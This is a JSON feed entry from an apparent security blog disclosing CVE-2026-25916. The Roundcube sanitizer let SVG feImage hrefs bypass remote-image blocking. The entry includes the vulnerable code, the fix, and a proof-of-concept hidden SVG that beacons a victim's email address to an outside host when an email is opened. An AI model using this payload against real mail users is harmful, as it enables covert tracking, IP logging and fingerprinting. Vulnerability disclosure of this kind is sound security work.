{"version":"https://jsonfeed.org/version/1.1","title":"NULL CATHEDRAL - Svg","home_page_url":"https://nullcathedral.com/tags/svg/","feed_url":"https://nullcathedral.com/tags/svg/feed.json","description":"Where nothing is sacred.","language":"en-us","favicon":"https://nullcathedral.com/favicon.svg","authors":[{"name":"_NULL"}],"items":[{"id":"https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/","url":"https://nullcathedral.com/posts/2026-02-08-roundcube-svg-feimage-remote-image-bypass/","title":"Roundcube Webmail \u003c1.5.13 / \u003c1.6.13 allows attackers to force remote image loads via SVG feImage","summary":"Roundcube's HTML sanitizer doesn't treat SVG feImage href as an image source. Attackers can bypass remote image blocking to track email opens. (CVE-2026-25916)","content_html":"\u003cp\u003e\u003cstrong\u003eTL;DR:\u003c/strong\u003e Roundcube\u0026rsquo;s \u003ccode\u003ercube_washtml\u003c/code\u003e sanitizer blocked external resources on \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e, \u003ccode\u003e\u0026lt;image\u0026gt;\u003c/code\u003e, and \u003ccode\u003e\u0026lt;use\u0026gt;\u003c/code\u003e, but not on \u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e. Its \u003ccode\u003ehref\u003c/code\u003e went through the wrong code path and got allowed through. Attackers could track email opens even when \u0026ldquo;Block remote images\u0026rdquo; was on. Fixed in 1.5.13 and 1.6.13.\u003c/p\u003e\n\u003ch2 id=\"vulnerability-information\"\u003eVulnerability information\u003ca href=\"#vulnerability-information\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eField\u003c/th\u003e\n          \u003cth\u003eValue\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eVendor\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eProduct\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eRoundcube Webmail\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eAffected versions\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e\u0026lt; 1.5.13, 1.6.x \u0026lt; 1.6.13\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eCVE\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003eCVE-2026-25916\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003cstrong\u003eDisclosure date\u003c/strong\u003e\u003c/td\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003ch2 id=\"background\"\u003eBackground\u003ca href=\"#background\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eWhen \u003ccode\u003eallow_remote\u003c/code\u003e is false, Roundcube\u0026rsquo;s sanitizer intercepts image-bearing attributes (\u003ccode\u003esrc\u003c/code\u003e on \u003ccode\u003e\u0026lt;img\u0026gt;\u003c/code\u003e, \u003ccode\u003ehref\u003c/code\u003e on \u003ccode\u003e\u0026lt;image\u0026gt;\u003c/code\u003e and \u003ccode\u003e\u0026lt;use\u0026gt;\u003c/code\u003e) and runs them through \u003ccode\u003eis_image_attribute()\u003c/code\u003e. That function blocks external URLs.\u003c/p\u003e\n\u003cp\u003eSeparately, non-image URLs (like \u003ccode\u003e\u0026lt;a href\u0026gt;\u003c/code\u003e) go through \u003ccode\u003ewash_link()\u003c/code\u003e, which lets HTTP/HTTPS URLs through. That\u0026rsquo;s fine for links the user clicks on intentionally.\u003c/p\u003e\n\u003ch2 id=\"discovery\"\u003eDiscovery\u003ca href=\"#discovery\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eI got bored during my christmas vacation and \u003ca href=\"https://roundcube.net/news/2025/12/13/security-updates-1.6.12-and-1.5.12\"\u003ethis SVG-based XSS fix via the \u003ccode\u003eanimate\u003c/code\u003e tag\u003c/a\u003e appeared on my radar. One SVG bug usually means more.\u003csup id=\"fnref:1\"\u003e\u003ca href=\"#fn:1\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e1\u003c/a\u003e\u003c/sup\u003e So I spent some time going through \u003ccode\u003ercube_washtml.php\u003c/code\u003e, looking at which SVG elements made it onto the allowlist and how their attributes get handled and sanitized.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e stood out.\u003csup id=\"fnref:2\"\u003e\u003ca href=\"#fn:2\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e2\u003c/a\u003e\u003c/sup\u003e Its \u003ccode\u003ehref\u003c/code\u003e gets fetched on render, same as \u003ccode\u003e\u0026lt;img src\u0026gt;\u003c/code\u003e. But the sanitizer sends it through \u003ccode\u003ewash_link()\u003c/code\u003e instead of \u003ccode\u003eis_image_attribute()\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eSo the \u0026ldquo;Block remote images\u0026rdquo; setting doesn\u0026rsquo;t apply to it.\u003c/p\u003e\n\u003ch2 id=\"technical-details\"\u003eTechnical details\u003ca href=\"#technical-details\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eIn \u003ccode\u003ewash_attribs()\u003c/code\u003e, every attribute hits a chain of checks. The first one that matches wins:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L310-L313\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eis_image_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ewash_uri\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e  \u003cspan class=\"c1\"\u003e// blocks remote URLs\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003eelseif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eis_link_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$node\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003enodeName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$key\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nv\"\u003e$out\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ewash_link\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$value\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e        \u003cspan class=\"c1\"\u003e// allows http/https\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBefore the fix, \u003ccode\u003eis_image_attribute()\u003c/code\u003e looked like this:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L472-L481\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_image_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;background\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;color-profile\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;poster\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;video\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;src\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^(img|image|source|input|video|audio)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;use\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;image\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe \u003ccode\u003ehref\u003c/code\u003e attribute is only matched for \u003ccode\u003euse\u003c/code\u003e and \u003ccode\u003eimage\u003c/code\u003e. No \u003ccode\u003efeimage\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eAnd \u003ccode\u003eis_link_attribute()\u003c/code\u003e is a catch-all\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/4c378113ce1682022c53e8f75ac754a83fe5b43b/program/lib/Roundcube/rcube_washtml.php#L459-L462\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eis_link_attribute\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSo when the sanitizer encounters \u003ccode\u003e\u0026lt;feImage href=\u0026quot;https://...\u0026quot;\u0026gt;\u003c/code\u003e: \u003ccode\u003eis_image_attribute('feimage', 'href')\u003c/code\u003e returns false, \u003ccode\u003eis_link_attribute('feimage', 'href')\u003c/code\u003e returns true, and the URL goes through \u003ccode\u003ewash_link()\u003c/code\u003e which passes HTTP/HTTPS URLs straight through.\u003c/p\u003e\n\u003ch2 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eAn invisible 1x1 SVG, positioned off-screen:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-html\" data-lang=\"html\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003estyle\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;position:absolute;left:-9999px;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003edefs\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003efilter\u003c/span\u003e \u003cspan class=\"na\"\u003eid\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;t\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003efeImage\u003c/span\u003e \u003cspan class=\"na\"\u003ehref\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;https://httpbin.org/image/svg?email=victim@test.com\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e               \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003efilter\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003edefs\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  \u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nt\"\u003erect\u003c/span\u003e \u003cspan class=\"na\"\u003efilter\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;url(#t)\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003ewidth\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e \u003cspan class=\"na\"\u003eheight\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e/\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e\u0026lt;/\u003c/span\u003e\u003cspan class=\"nt\"\u003esvg\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe browser evaluates the SVG filter and fires a GET to the attacker\u0026rsquo;s URL.\u003c/p\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe \u0026ldquo;Block remote images\u0026rdquo; setting doesn\u0026rsquo;t block this remote image. An attacker can confirm you opened it, log your IP, and fingerprint your browser.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eThe fix (\u003ca href=\"https://github.com/roundcube/roundcubemail/commit/26d7677\"\u003e\u003ccode\u003e26d7677\u003c/code\u003e\u003c/a\u003e) collapses the two separate \u003ccode\u003euse\u003c/code\u003e/\u003ccode\u003eimage\u003c/code\u003e checks into a single regex that includes \u003ccode\u003efeimage\u003c/code\u003e:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/roundcube/roundcubemail/blob/26d7677471b68ff2d02ebe697cb606790b0cf52f/program/lib/Roundcube/rcube_washtml.php#L478\"\u003ercube_washtml.php\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e||\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$attr\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;href\u0026#39;\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"nx\"\u003epreg_match\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;/^(feimage|image|use)$/i\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$tag\u003c/span\u003e\u003cspan class=\"p\"\u003e));\u003c/span\u003e \u003cspan class=\"c1\"\u003e// SVG\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNow \u003ccode\u003e\u0026lt;feImage href\u0026gt;\u003c/code\u003e hits \u003ccode\u003eis_image_attribute()\u003c/code\u003e first, gets routed through \u003ccode\u003ewash_uri()\u003c/code\u003e, and the remote URL is blocked.\u003c/p\u003e\n\u003cp\u003eUpdate to 1.5.13 or 1.6.13.\u003c/p\u003e\n\u003ch2 id=\"timeline\"\u003eTimeline\u003ca href=\"#timeline\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eDate\u003c/th\u003e\n          \u003cth\u003eEvent\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-01-04\u003c/td\u003e\n          \u003ctd\u003eReported to Roundcube\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003e1.5.13 and 1.6.13 released\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-08\u003c/td\u003e\n          \u003ctd\u003eThis post\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e2026-02-09\u003c/td\u003e\n          \u003ctd\u003eCVE-2026-25916 assigned\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cdiv class=\"footnotes\" role=\"doc-endnotes\"\u003e\n\u003chr\u003e\n\u003col\u003e\n\u003cli id=\"fn:1\"\u003e\n\u003cp\u003eThe SVG spec is enormous and most sanitizers only handle the common elements. Whenever one SVG tag slips through, there are usually others on the same allowlist that nobody checked.\u0026#160;\u003ca href=\"#fnref:1\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:2\"\u003e\n\u003cp\u003eIt\u0026rsquo;s an SVG filter primitive that loads an external image and uses it as input to a filter chain (\u003ca href=\"https://www.w3.org/TR/SVG11/filters.html#feImageElement\"\u003espec\u003c/a\u003e). Rarely used in practice, which is probably why it was overlooked. Allowlists that grow by hand tend to have gaps like this.\u0026#160;\u003ca href=\"#fnref:2\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003cli id=\"fn:3\"\u003e\n\u003cp\u003eThis matches \u003ccode\u003ehref\u003c/code\u003e on every element, including \u003ccode\u003e\u0026lt;feImage\u0026gt;\u003c/code\u003e. That\u0026rsquo;s the root cause.\u0026#160;\u003ca href=\"#fnref:3\" class=\"footnote-backref\" role=\"doc-backlink\"\u003e\u0026#x21a9;\u0026#xfe0e;\u003c/a\u003e\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/div\u003e\n","content_text":"TL;DR: Roundcube’s rcube_washtml sanitizer blocked external resources on \u003cimg\u003e, \u003cimage\u003e, and \u003cuse\u003e, but not on \u003cfeImage\u003e. Its href went through the wrong code path and got allowed through. Attackers could track email opens even when “Block remote images” was on. Fixed in 1.5.13 and 1.6.13.\nVulnerability information# Field Value Vendor Roundcube Product Roundcube Webmail Affected versions \u003c 